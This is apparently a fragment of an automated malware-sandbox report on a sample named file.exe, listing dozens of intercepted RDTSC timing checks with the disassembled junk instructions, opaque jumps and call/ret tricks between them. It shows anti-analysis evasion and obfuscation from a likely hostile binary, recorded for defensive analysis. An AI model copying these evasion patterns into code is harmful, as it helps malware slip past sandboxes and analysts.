push eax 0x00000071 push edx 0x00000072 push esi 0x00000073 pop esi 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C5C8 second address: 67C5FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F9DB0FF9A54h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F9DB0FF9A46h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C5FB second address: 67C60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edi 0x00000009 jp 00007F9DB10DC5BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C60C second address: 67C621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jno 00007F9DB0FF9A36h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C621 second address: 67C678 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9DB10DC5B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov cx, di 0x00000010 lea ebx, dword ptr [ebp+124612BEh] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F9DB10DC5B8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 movsx ecx, di 0x00000033 mov edi, dword ptr [ebp+122D3B45h] 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F9DB10DC5C6h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C700 second address: 67C775 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 0E116150h 0x00000011 jnp 00007F9DB0FF9A3Ch 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F9DB0FF9A38h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 or dx, 37ABh 0x00000038 push 00000000h 0x0000003a push 00000003h 0x0000003c mov dword ptr [ebp+122D2A1Fh], edi 0x00000042 call 00007F9DB0FF9A39h 0x00000047 jmp 00007F9DB0FF9A43h 0x0000004c push eax 0x0000004d jl 00007F9DB0FF9A40h 0x00000053 pushad 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C775 second address: 67C7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a jmp 00007F9DB10DC5BAh 0x0000000f jmp 00007F9DB10DC5BEh 0x00000014 popad 0x00000015 mov eax, dword ptr [eax] 0x00000017 jnp 00007F9DB10DC5D2h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C7C5 second address: 67C81C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F9DB0FF9A3Ch 0x0000000c pop edi 0x0000000d popad 0x0000000e pop eax 0x0000000f cmc 0x00000010 lea ebx, dword ptr [ebp+124612C9h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F9DB0FF9A38h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 jne 00007F9DB0FF9A3Eh 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jbe 00007F9DB0FF9A3Ch 0x0000003f jng 00007F9DB0FF9A36h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68ED64 second address: 68ED82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68ED82 second address: 68ED87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68ED87 second address: 68ED8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69DE6D second address: 69DE88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69BDE1 second address: 69BDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69BDE5 second address: 69BDF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9DB0FF9A3Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69BDF9 second address: 69BE03 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB10DC5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69BF3D second address: 69BF4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F9DB0FF9A36h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C5A7 second address: 69C5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C6h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F9DB10DC5B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C5CE second address: 69C5D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C5D3 second address: 69C5DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9DB10DC5B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C5DF second address: 69C5E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C5E3 second address: 69C604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jp 00007F9DB10DC5B8h 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007F9DB10DC5B6h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C604 second address: 69C60A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C60A second address: 69C63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F9DB10DC5B6h 0x0000000d jmp 00007F9DB10DC5C5h 0x00000012 jmp 00007F9DB10DC5BAh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C63B second address: 69C641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69C641 second address: 69C645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CB05 second address: 69CB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CB0D second address: 69CB43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F9DB10DC5BCh 0x00000013 jmp 00007F9DB10DC5C5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CB43 second address: 69CB51 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9DB0FF9A38h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CB51 second address: 69CB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CE23 second address: 69CE27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CE27 second address: 69CE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F9DB10DC5BEh 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CE3A second address: 69CE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9DB0FF9A3Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CE4C second address: 69CE62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69CE62 second address: 69CE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69D779 second address: 69D783 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9DB10DC5C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69D783 second address: 69D789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69D8D8 second address: 69D8EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F9DB10DC5BEh 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69DD06 second address: 69DD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69DD0C second address: 69DD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A2446 second address: 6A244A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A244A second address: 6A2450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A8F4B second address: 6A8F64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A45h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A8F64 second address: 6A8F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A8F71 second address: 6A8F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A8F75 second address: 6A8F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A8F7B second address: 6A8F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A924E second address: 6A9255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A9255 second address: 6A925B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A9578 second address: 6A957C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A957C second address: 6A9591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB0FF9A3Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE110 second address: 6AE12C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F9DB10DC5BFh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE12C second address: 6AE130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE130 second address: 6AE148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jns 00007F9DB10DC5B8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE148 second address: 6AE14C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE14C second address: 6AE167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F9DB10DC5BDh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE167 second address: 6AE16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE16C second address: 6AE188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F9DB10DC5B6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jg 00007F9DB10DC5B6h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE188 second address: 6AE1F0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB0FF9A38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F9DB0FF9A38h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push edi 0x00000026 pushad 0x00000027 mov edx, 3FB1056Dh 0x0000002c sub ecx, dword ptr [ebp+122D3949h] 0x00000032 popad 0x00000033 pop esi 0x00000034 mov dword ptr [ebp+122D2032h], ebx 0x0000003a call 00007F9DB0FF9A39h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007F9DB0FF9A3Eh 0x00000047 js 00007F9DB0FF9A36h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE1F0 second address: 6AE22D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F9DB10DC5CAh 0x00000010 jmp 00007F9DB10DC5C4h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE22D second address: 6AE237 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE237 second address: 6AE272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push edx 0x0000000e jmp 00007F9DB10DC5C0h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007F9DB10DC5B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE544 second address: 6AE54A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE54A second address: 6AE54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE663 second address: 6AE669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE669 second address: 6AE66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE72F second address: 6AE73A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F9DB0FF9A36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AE9B9 second address: 6AE9EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F9DB10DC5CCh 0x00000012 jmp 00007F9DB10DC5C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AEE3A second address: 6AEE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AEE3E second address: 6AEE42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AEE42 second address: 6AEE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AEEB5 second address: 6AEEFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007F9DB10DC5C5h 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D33AEh] 0x0000002c push eax 0x0000002d jp 00007F9DB10DC5C8h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AEEFE second address: 6AEF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AEF02 second address: 6AEF06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AF22D second address: 6AF232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AF469 second address: 6AF495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 ja 00007F9DB10DC5C0h 0x0000000c jmp 00007F9DB10DC5BAh 0x00000011 nop 0x00000012 mov edi, dword ptr [ebp+122D3BDDh] 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007F9DB10DC5BCh 0x00000021 jns 00007F9DB10DC5B6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AF9C7 second address: 6AFA16 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9DB0FF9A4Ch 0x00000008 jmp 00007F9DB0FF9A46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov esi, dword ptr [ebp+122D3A79h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c sbb edi, 45A55DD0h 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9DB0FF9A49h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B13B5 second address: 6B1422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b pop edi 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D384Bh], ecx 0x00000015 sub esi, dword ptr [ebp+122D339Fh] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F9DB10DC5B8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 mov edi, 1D202FD7h 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007F9DB10DC5B8h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 xchg eax, ebx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c push esi 0x0000005d pop esi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B1F0D second address: 6B1F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B1F11 second address: 6B1F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B2677 second address: 6B267B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B3449 second address: 6B34D0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov edi, 107126C1h 0x0000002b jmp 00007F9DB10DC5C4h 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D3180h], edi 0x00000038 push 00000000h 0x0000003a mov edi, dword ptr [ebp+122D3BB1h] 0x00000040 xchg eax, ebx 0x00000041 jnp 00007F9DB10DC5BEh 0x00000047 push eax 0x00000048 pushad 0x00000049 jmp 00007F9DB10DC5C8h 0x0000004e jbe 00007F9DB10DC5BCh 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
